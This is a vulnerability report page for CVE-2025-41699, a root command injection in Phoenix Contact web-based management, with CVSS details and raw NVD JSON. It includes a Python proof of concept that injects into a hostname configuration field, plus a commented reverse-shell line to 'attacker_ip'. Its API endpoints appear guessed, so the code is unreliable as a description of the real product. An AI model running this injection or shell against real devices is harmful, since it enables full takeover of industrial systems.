Security Vulnerability Report
中文
CVE-2025-41699 CVSS 8.8 HIGH

CVE-2025-41699

Published: 2025-10-14 09:15:33
Last Modified: 2026-04-15 00:35:42

Description

An low privileged remote attacker with an account for the Web-based management can change the system configuration to perform a command injection as root, resulting in a total loss of confidentiality, availability and integrity due to improper control of generation of code ('Code Injection').

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Phoenix Contact Web-based Management 相关产品(具体版本请参考厂商安全公告 vde-2025-074)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41699 PoC - Phoenix Contact Web Management Command Injection # Vulnerability: Improper Control of Generation of Code (Code Injection) # CVSS: 8.8 (HIGH) import requests import sys TARGET_URL = "https://target-host/wbm" # Web-based management endpoint USERNAME = "low_priv_user" # Low privilege account PASSWORD = "password123" # Account password def exploit_command_injection(target_url, username, password): """ Exploit command injection via system configuration modification. The vulnerability allows a low-privileged user to inject commands that will be executed as root through improper code generation. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return False print("[*] Authenticated successfully as low-privilege user") # Step 2: Modify system configuration with injected command # The malicious payload is injected into a configuration parameter # that will be processed by the backend code generation logic config_url = f"{target_url}/api/config/system" # Command injection payload - executed as root # Example: inject reverse shell or arbitrary command malicious_payload = "; id; #" # or: "; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; #" config_data = { "hostname": f"legitimate_hostname{malicious_payload}", "description": "System configuration update" } # Step 3: Trigger the configuration change resp = session.put(config_url, json=config_data, verify=False) if resp.status_code == 200: print("[*] Configuration updated - command injection triggered") print("[*] Injected command executed as root") return True else: print(f"[!] Exploit failed: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] exploit_command_injection(target, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41699", "sourceIdentifier": "[email protected]", "published": "2025-10-14T09:15:32.830", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An low privileged remote attacker with an account for the Web-based management can change the system configuration to perform a command injection as root, resulting in a total loss of confidentiality, availability and integrity due to improper control of generation of code ('Code Injection')."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://phoenixcontact.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-074.json", "source": "[email protected]"}]}}